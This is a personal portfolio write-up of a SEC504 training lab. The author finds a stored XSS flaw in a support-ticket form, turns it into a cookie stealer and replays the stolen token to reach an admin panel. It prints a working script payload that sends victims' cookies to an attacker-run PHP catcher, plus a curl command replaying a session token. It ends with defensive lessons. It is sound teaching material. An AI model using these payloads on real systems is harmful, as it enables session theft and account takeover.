Skip to main content
in the email field executed, confirming XSS. Standing up a PHP cookie-catcher (file_put_contents logging GET/headers) and injecting , the log recorded two hits: the tester's own browser and, minutes later, a different internal IP (the SME analyst who opened the ticket), confirming this was stored XSS. Replaying that stolen authtoken with curl -b reached the admin panel, whose ticket queue exposed users typing their own passwords into support requests.","url":"https://www.luislozoya.com/labs/sec504/stored-xss-session-hijacking","author":{"@type":"Person","name":"Luis Javier Lozoya","url":"https://www.luislozoya.com"},"publisher":{"@type":"Person","name":"Luis Javier Lozoya"},"datePublished":"Jul 2026","proficiencyLevel":"Beginner","dependencies":"curl / browser, PHP built-in server, Slingshot Linux","about":[{"@type":"Thing","name":"Per-field XSS probing with harmless markup (
)"},{"@type":"Thing","name":"Distinguishing escaped vs unescaped output"},{"@type":"Thing","name":"Stored XSS weaponization (cookie theft)"},{"@type":"Thing","name":"Session hijacking via stolen token replay"},{"@type":"Thing","name":"Impact demonstration through privilege gain"}],"keywords":"curl / browser, PHP built-in server, Slingshot Linux, Per-field XSS probing with harmless markup (
), Distinguishing escaped vs unescaped output, Stored XSS weaponization (cookie theft), Session hijacking via stolen token replay, Impact demonstration through privilege gain, Web Application Security, cybersecurity"}
See Security Labs

SEC504 - Hacker Tools, Techniques, and Incident Handling

Stored XSS to Session Hijacking

Solo, Lab

Focus: Web Application Security

Level: SEC504

Date: Jul 2026

Artifacts: Sanitized browser, PHP cookie-catcher, and admin-panel output from the SEC504 web lab against support.falsimentis.com

TL;DR

  • Per-field probing with <hr> found the email field unescaped while the name field was correctly encoded
  • A cookie-stealer payload logged a second victim (the SME analyst), confirming stored XSS
  • Replaying the stolen authtoken with curl -b reached the admin panel and its ticket queue

Skills demonstrated

Per-field XSS probing with harmless markup (<hr>)Distinguishing escaped vs unescaped outputStored XSS weaponization (cookie theft)Session hijacking via stolen token replayImpact demonstration through privilege gain

Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.

Why this matters

The impact of XSS is not the alert box; it is the second IP in the cookie log, an analyst whose session was hijacked just by viewing a ticket. Stored XSS is especially dangerous because it fires against whoever opens the record, including staff with more privilege than the attacker. The per-field lesson is one I apply directly in reviews: output encoding is applied inconsistently far more often than it is applied nowhere, so every field must be tested, not just the obvious one.

Context

This lab finds a stored cross-site scripting flaw in a support-ticket form, weaponizes it into a cookie stealer, and uses the stolen session token to reach an admin panel. The instructive part is the per-field testing: the same form escapes one field and not another, so the vulnerability is only found by probing every input, and the real impact is a second victim, not an alert box.

Tools used

curl / browserPHP built-in serverSlingshot Linux

Steps taken

1Map the reflected fields

The /contact form (name, email, company, file, message) echoes its values on a 'Thanks' confirmation page. Any echoed field is a candidate sink for XSS, so the first step is just to see what comes back.

$ # submit /contact with test values and read the confirmation
Echoed fields are the XSS candidates to probe

2Probe each field with <hr>

Submitting Lorezo<hr> in the name field rendered the literal text (escaped, safe). The same <hr> in the email field rendered an actual horizontal rule (unescaped, injectable). Same form, same page, different encoding per field: this is why every input must be tested.

$ # name: Lorezo<hr>  -> rendered as text (escaped)
$ # email: lorenzo@gmail.com<hr>  -> rendered as a rule (injectable)
<hr> is a harmless, unmistakable proberule = injectable

3Confirm script execution

With the email field confirmed injectable, lorenzo@gmail.com<script>alert(1)</script> produced an alert box from support.falsimentis.com. XSS confirmed; now to weaponize it into something with real impact.

$ # email: lorenzo@gmail.com<script>alert(1)</script>
alert(1) executing proves script injection, not just HTML injection

4Stand up a cookie-catcher

A small PHP script logged incoming GET parameters and headers to cookies.log, served with the PHP built-in server on 8080. This is the endpoint the injected script will send victims' cookies to.

$ cat index.php  # file_put_contents("cookies.log", ...GET...headers...)
$ php -S 0.0.0.0:8080
php -S serves the catcher; it appends every request to cookies.log

5Inject the cookie stealer and catch a second victim

The payload redirected the victim's browser to the catcher with their cookie appended: <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>. The log showed two hits: the tester's own browser, and minutes later a different internal IP (172.30.0.201), the SME analyst who opened the ticket. That second IP is what makes this stored XSS.

$ # email field payload:
$ # <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>
The analyst's browser fires the payload on viewing the ticket

6Hijack the session

The admin panel was a troll page when unauthenticated, but curl with the stolen authtoken cookie (-b) returned the real admin interface: a ticket queue where users had typed their own usernames and passwords into support requests. The stolen session became privileged access.

$ curl http://support.falsimentis.com/admin/
$ curl http://support.falsimentis.com/admin/ -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb
-b sends the stolen cookie; the panel now authorizes the request

Key findings

The name field was escaped but the email field was not (inconsistent encoding)
<script>alert(1)</script> executed in the email field
The cookie log caught a second internal IP: the SME analyst (stored XSS)
The stolen authtoken replayed via curl -b reached the admin panel
The admin ticket queue exposed users' plaintext passwords

Outcome / Lessons learned

Found a stored XSS in a support-ticket form through per-field probing, weaponized it into a cookie stealer that captured an SME analyst's session, and replayed that token to reach an admin panel exposing credentials users had typed into tickets. The impact was a hijacked staff session, not an alert box.

Apply context-aware output encoding on every field, not selectively, and add a Content-Security-Policy that blocks inline script and external exfiltration destinations. Set session cookies HttpOnly so document.cookie cannot read them, and SameSite/Secure to limit replay. Train users and templates so passwords are never entered into ticket bodies, and scan ticket content for credential patterns. Test every input for XSS in QA, since the flaw here was inconsistent, not absent, encoding.

Security controls relevant

  • Consistent context-aware output encoding on all fields
  • Content-Security-Policy blocking inline script and exfil hosts
  • HttpOnly / SameSite / Secure session cookies
  • Credential-pattern scanning of user-submitted content
  • XSS test coverage across every input in QA

What I took away from this

The real impact of XSS is the second IP in the log. An alert box proves execution but persuades no one; a captured analyst session, fired simply because staff opened a ticket, shows what stored XSS actually does. It reaches anyone who views the record, and in a support tool that means employees with more access than the attacker started with. Framing the finding around the hijacked session, not the popup, is what makes it land.

Encoding is usually inconsistent, not absent, and that is the trap. The same form escaped the name field and forgot the email field, so testing only the obvious input would have missed the bug entirely. In a review, every reflected or stored field is its own test case, because a single forgotten sink is all stored XSS needs. HttpOnly cookies and a strict CSP would have neutralized the weaponization even with the injection present, which is why defense in depth matters here.

Evidence gallery

Stored XSS to Session Hijacking | Luis Javier Lozoya